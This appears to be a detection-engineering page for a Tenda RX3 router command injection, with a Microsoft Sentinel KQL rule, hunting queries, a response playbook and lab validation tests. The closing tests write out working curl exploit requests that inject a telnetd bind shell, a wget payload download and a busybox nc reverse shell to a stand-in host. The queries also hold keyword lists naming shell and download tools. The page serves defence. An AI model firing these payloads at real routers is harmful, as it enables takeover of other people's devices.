Skip to content
CVE-2026-136549 Microsoft Sentinel · KQL

Detect Tenda RX3 formSetSafeWanWebMan Command Injection (CVE-2026-136549) in Microsoft Sentinel

Detects exploitation of CVE-2026-136549, a CVSS 9.3 command injection (CWE-77/CWE-74) in the formSetSafeWanWebMan function of the Tenda RX3 router (firmware 16.03.13.11_multi) reachable via POST requests to /goform/SetRemoteWebCfg. The remoteIp parameter of the remote web management config is passed unsanitized into a shell command, which allows arbitrary command execution on the device. The attack can be carried out remotely. This detection looks for HTTP requests to the vulnerable endpoint carrying shell metacharacters or command-injection payloads, and for post-exploitation telemetry such as anomalous child processes spawned by the router web daemon. A public exploit is available.

Based on Zeyfrost tenda-rx3-vulns: cmd_injection_remoteIp

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence
let cmdInjectionPatterns = dynamic([";", "|", "`", "$(", "&&", "||", "%3B", "%7C", "%60", "wget", "curl", "telnetd", "/bin/sh", "nc ", "busybox"]);
CommonSecurityLog
| where DeviceVendor has "Tenda" or RequestURL has "/goform/SetRemoteWebCfg"
| where RequestURL has "/goform/SetRemoteWebCfg" or RequestContext has "SetRemoteWebCfg"
| where RequestMethod == "POST"
| extend Payload = strcat(tostring(RequestURL), " ", tostring(RequestContext), " ", tostring(AdditionalExtensions))
| where Payload has_any (cmdInjectionPatterns)
| project TimeGenerated, SourceIP, DestinationIP, RequestMethod, RequestURL, Payload, DeviceVendor, DeviceProduct
| sort by TimeGenerated desc
critical severity medium confidence

Flags POST requests to the Tenda RX3 /goform/SetRemoteWebCfg endpoint whose body or URL contains shell metacharacters or command-injection keywords, consistent with CVE-2026-136549 exploitation.

Data Sources

Network IDS/Proxy logsFirewall HTTP inspectionWAF

Required Tables

CommonSecurityLog

False Positives & Tuning

  • Legitimate administrator configuring remote web management with an IP address that coincidentally contains a flagged substring
  • Security scanners or vulnerability assessment tools probing the router endpoint
  • Penetration testing or red-team engagements against the device

Other platforms for CVE-2026-136549


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated command injection POST to SetRemoteWebCfg (remoteIp)

    Expected signal: Proxy/firewall/WAF log entry showing a POST to /goform/SetRemoteWebCfg with a body containing ';' and 'telnetd'.

  2. Test 2 Command injection with payload retrieval

    Expected signal: HTTP POST to the endpoint containing 'wget' and a URL; optionally an outbound connection from the router to 203.0.113.10.

  3. Test 3 URL-encoded metacharacter injection

    Expected signal: POST to /goform/SetRemoteWebCfg with URL-encoded '%3B' (;) and 'busybox'/'nc' in the body.


Response Playbook

Triage

  1. Confirm the source IP of the POST to /goform/SetRemoteWebCfg is not an authorized management host; external/WAN-side sources are high risk given this is a remote web management endpoint.
  2. Extract and decode the request body (especially the remoteIp parameter) and identify the exact injected command sequence.
  3. Verify the targeted device is a Tenda RX3 running the affected firmware 16.03.13.11_multi or an equivalent vulnerable build.
  4. Check whether the device's remote web management (WAN access) is enabled, which increases exposure.

Containment

  1. Block the attacker source IP at the perimeter firewall and disable WAN-side access to the router's web management interface.
  2. Isolate the affected router from the network and reboot it to clear any in-memory implant, then reset to factory defaults if compromise is confirmed.
  3. Apply vendor firmware updates once available; until then restrict management to a trusted VLAN/management subnet.

Evidence Collection

  1. Capture the full HTTP request(s) to /goform/SetRemoteWebCfg including headers and body for IR records.
  2. Collect router logs, configuration backup, and any available process/connection telemetry before rebooting or resetting.
  3. Preserve network packet captures and proxy/firewall logs covering the attack window.

Escalation Criteria

  • !Escalate to incident response if the injected command includes payload retrieval (wget/curl/tftp) or a reverse shell, indicating active compromise.
  • !Escalate if evidence shows the router initiated outbound connections to attacker infrastructure or new services (telnetd) were started post-request.

Investigation Guide

Forensic Artifacts

  • >HTTP request logs to /goform/SetRemoteWebCfg on the proxy/firewall/WAF
  • >Router configuration showing modified remote web management settings (remoteIp)
  • >Outbound connections from the router to unexpected hosts and any newly spawned processes such as telnetd or busybox shells

Tuning Guidance

Allowlist known management source IPs that legitimately reconfigure remote web management. If the router sits behind a WAF or proxy that normalizes bodies, adjust field extraction accordingly. Reduce false positives by requiring the POST method and the specific endpoint path, and by excluding scheduled scanner source ranges. Raise confidence to high when the same source IP triggers both the HTTP indicator and subsequent anomalous outbound connections from the device.


Hunting Queries

Hunts for command-injection indicators across all Tenda /goform/ endpoints, not only SetRemoteWebCfg, to catch related exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/goform/" | where AdditionalExtensions has_any (";", "|", "$(", "wget", "curl", "busybox") | summarize count() by SourceIP, RequestURL
Hunting — SPL
spl
``` df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="/goform/*" | regex _raw="(?i)(;|\||\$\(|wget|curl|busybox)" | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Simulated command injection POST to SetRemoteWebCfg (remoteIp)
linux

Sends a crafted POST request to the vulnerable endpoint with a shell metacharacter payload in the remoteIp parameter to generate detection telemetry in a lab.

Command

bash
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=1.1.1.1;telnetd -l /bin/sh -p 1337&' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
echo 'No local artifacts to clean on the test host; reboot/reset the lab router if it accepted the payload.'

Expected Telemetry

Proxy/firewall/WAF log entry showing a POST to /goform/SetRemoteWebCfg with a body containing ';' and 'telnetd'.

Expected Detection

The KQL/SPL and equivalent queries match on the command-injection pattern in the request payload.

Test 2 Command injection with payload retrieval
linux

Simulates an attacker attempting to download a second-stage payload via the injection point.

Command

bash
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=2.2.2.2;wget http://203.0.113.10/x -O /tmp/x' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
rm -f /tmp/x 2>/dev/null; echo done

Expected Telemetry

HTTP POST to the endpoint containing 'wget' and a URL; optionally an outbound connection from the router to 203.0.113.10.

Expected Detection

Queries match on the 'wget' keyword and shell metacharacter within the SetRemoteWebCfg request.

Test 3 URL-encoded metacharacter injection
linux

Sends URL-encoded shell metacharacters to verify detection handles encoded payloads.

Command

bash
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=3.3.3.3%3Bbusybox%20nc%20203.0.113.10%204444%20-e%20%2Fbin%2Fsh' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
echo 'No host artifacts; reset lab router if required.'

Expected Telemetry

POST to /goform/SetRemoteWebCfg with URL-encoded '%3B' (;) and 'busybox'/'nc' in the body.

Expected Detection

Queries match on encoded metacharacter patterns (%3B) and/or decoded busybox/nc keywords.

Related Detections